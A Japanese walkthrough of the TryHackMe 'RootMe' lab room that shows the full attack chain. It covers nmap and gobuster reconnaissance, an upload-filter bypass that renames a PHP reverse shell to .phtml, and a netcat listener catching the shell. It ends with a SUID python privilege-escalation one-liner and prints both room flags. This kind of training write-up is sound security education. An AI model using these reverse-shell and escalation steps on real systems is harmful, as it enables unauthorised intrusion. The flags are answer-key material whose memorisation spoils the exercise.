はじめに
TryHackMeのルーム「RootMe」のWalkThroughです。
ルームの概要
難易度EasyのChallengeルームとなっています。
説明欄を見ても初心者向けだということが伺えます。
タスクの問題を見る限り若干Tutorialルームっぽさもありそう?(個人の意見です)
主な目標・攻略の流れ
今回はタスクに沿って流れを設定します。
Task1 : Deploy the machine (マシンを起動)
Task2 : Reconnaissance (偵察)
Task3 : Getting a shell (シェルを取得)
Task4 : Privilege escalation (権限昇格)
目標はuser.txt
とroot.txt
に書かれているフラグの入手です。
今回のWalkThroughでは、Task1がターゲットマシンを起動するだけの内容となっているので解説は省略させていただきます。
それでは始めていきましょう。
Try Harder!
環境・記事に関するお詫び
解説の前に今回のIPアドレスを載せておきます。参考にする際は順次置き換えて進めてください。
ローカルマシン(VPN): 10.9.1.210
ターゲットマシン: 10.10.203.134
また、今回ローカルマシンはKali 2024.4を使用し、作業ディレクトリは~/thm/RootMe
とします。
解答はノートに載せ、(答えは不要)は空欄でも問題ないことを示します。
記事に載せている写真についてですが、こちらのミスで所々タスクバーが見えていたり翻訳が入っていたりしています。申し訳ございません。
Task2 : Reconnaissance
マシンの偵察を行います。
Q1. Scan the machine, how many ports are open?
nmapでポートスキャンを実行します。
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ nmap --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.203.134
(中略)
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cat nmap-1.txt
# Nmap 7.95 scan initiated Wed Jan 15 22:40:29 2025 as: /usr/lib/nmap/nmap --privileged --vv -Pn -T4 -sV -oN nmap-1.txt 10.10.203.134
Nmap scan report for 10.10.203.134
Host is up, received user-set (0.29s latency).
Scanned at 2025-01-15 22:40:29 JST for 13s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 15 22:40:42 2025 -- 1 IP address (1 host up) scanned in 13.41 seconds
22
,80
ポートがオープンとなっていました。
A. 2
Q2. What version of Apache is running?
nmapの実行結果から、Apacheのバージョンは2.4.29
とわかります。
A. 2.4.29
Q3. What service is running on port 22?
同様に、実行結果を調べると22
ポートではSSHが動いていることがわかります。
A. ssh
Q4. Find directories on the web server using the GoBuster tool.
GoBusterで隠しディレクトリを探します。今回は辞書ファイルにdirbのcommon.txtを使います。
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ gobuster dir -u http://10.10.203.134 -w /usr/share/dirb/wordlists/common.txt -o gobuster-1.txt -t 64
(中略)
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cat gobuster-1.txt
/.hta (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/.htaccess (Status: 403) [Size: 278]
/css (Status: 301) [Size: 312] [--> http://10.10.203.134/css/]
/index.php (Status: 200) [Size: 616]
/js (Status: 301) [Size: 311] [--> http://10.10.203.134/js/]
/panel (Status: 301) [Size: 314] [--> http://10.10.203.134/panel/]
/server-status (Status: 403) [Size: 278]
/uploads (Status: 301) [Size: 316] [--> http://10.10.203.134/uploads/]
A. (答えは不要)
Q5. What is the hidden directory?
GoBusterの実行結果を見ると、/panel
と/uploads
が隠しディレクトリとして出てきていることがわかります。今回は回答形式にあわせて/panel
が答えとなります。
A. /panel/
Task3 : Getting a shell
ここでは、シェルの取得を目標として進めます。
Q1. user.txt
まずはWebサイトにアクセスしてみます(http://10.10.203.134
)。
シンプルかつスタイリッシュ(?)なサイトが出てきました。
ソースを見ても何もなさそうなので、Task2で見つけた隠しディレクトリに行ってみましょう(/panel
)。
何やらファイルをアップロードできそうですね。試しにtest.txt
でも作ってアップロードしてみましょう。
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ echo "RootMe" > test.txt
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cat test.txt
RootMe
正常にアップロードできたようです。もう一つの隠しディレクトリ/uploads
にアクセスすると、アップロードしたファイルが閲覧できます。
ここで戦略を考えてみましょう。もしPHPファイルなども同様にアップロードし実行できたら、リバースシェルを用いてシェルが取得できますよね。 早速試してみましょう。
リバースシェルはKaliにデフォルトで入っているものを使用します。
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ cp /usr/share/webshells/php/php-reverse-shell.php .
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ vim php-reverse-shell.php
$ip
をローカルホストのIPアドレスに変更します。ポート番号は変更してもしなくても問題ありません(変える場合は後述のnc
コマンドのポート番号も併せて変更する)。
<?php
(中略)
$ip = '10.9.1.210'; // CHANGE THIS
$port = 1234; //CHANGE THIS
(略)
$ip
はローカルホストのIPアドレスを設定します。
間違ってターゲットマシンのIPアドレスを設定しないようにしましょう。
先ほどのtest.txt
と同じようにアップロードしていきます。
Uploadをクリック。
test.txt
のときとは違い、「PHPは使用できない」との文が。どうやらPHPファイルはアップロードできないようです。
では、これを踏まえてもう一度作戦を立て直しましょう。
僕が考えた案は次の2つ(3つ)です。
-
.php
形式ではなく、.php
形式と互換性がある.phtml
形式に直して再アップロードする - PHPではなく、Pythonなど他の言語で試してみる
- (上記の2つがだめであれば、burpsuiteを用いてアップロードできる形式を確認するなど)
試してみましょう。
1. .phpから.phtmlへ
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ mv php-reverse-shell.php php-reverse-shell.phtml
成功したようです!ではいよいよリバースシェルを実行しシェルを取得していきます。
今回は拡張子を.phtml
にして通しましたが、もしかしたら2. の方法も使えるかもしれません。興味があれば試してみてください。
(Reverse Shell Generatorでは、PHPはもちろんPythonやGo、C言語など様々な形式のリバースシェルを簡単に生成することができるのでおすすめです。)
実行する前に、以下のコマンドを実行します。
┌──(kali㉿kali)-[~/thm/RootMe]
└─$ nc -lvnp 1234
/uploads
ディレクトリにアクセスし、先ほどアップロードしたリバースシェルをクリックして実行しましょう。
ターミナルに以下のメッセージが表示され、入力が待機状態になっていれば成功です!おめでとうございます!
listening on [any] 1234 ...
connect to [10.9.1.210] from (UNKNOWN) [10.10.203.134] 51666
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
14:49:31 up 1:16, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
いくつかコマンドを実行して、侵入できているか確認してみましょう。
$ pwd
/
$ whoami
www-data
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
では、長くなってしまいましたがQ1の目的であるuser.txtを取っていきます。
$ find / -name 'user.txt'
(中略)
/var/www/user.txt
(中略)
$ cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
これにてフラグゲットです!
A. THM{y0u_g0t_a_sh3ll}
Task4 : Privilege escalation
最後に、権限昇格でroot権限の取得を図ります。
Q1. Search for files with SUID permission, which file is weird?
SUID権限を持ったファイルを列挙してみましょう。
$ find / -perm -u=s -type f 2>/dev/null
(中略)
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/chsh
/usr/bin/python
/usr/bin/at
/usr/bin/chfn
/usr/bin/gpasswd
(略)
注目するべきは/usr/bin/python
にSUIDがついていることですね。こうなっていればPythonスクリプト実行し放題です。
A. /usr/bin/python
Q2. Find a form to escalate your privileges.
Q1で見つけた穴をGTFOBinsで深堀りしてみましょう。
検索欄にpython
と入力します。
ありましたね。SUID
をクリックして確認します。
見つかりました。どうやらピンクの枠にあるコマンドの中で下の行を実行すればよいそうです(ただし、./python
の部分は絶対パスにする必要あり(この場合は/usr/bin/python
))。
$ /usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
何も表示されませんが、成功しているのでご安心ください(id
コマンドを実行してroot権限があることを確認するとよい)。
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)
A. (答えは不要)
Q3. root.txt
最後に、root.txtを取って締めとしましょう。
cd /root
ls
root.txt
cat root.txt
THM{pr1v1l3g3_3sc4l4t10n}
これでルームクリアです。ここまでお疲れさまでした!
A. THM{pr1v1l3g3_3sc4l4t10n}
Task4で使ったGTFOBinsは、他にも様々なPwnのテクニックが載っているのでこれからもぜひ参考にしてみてください。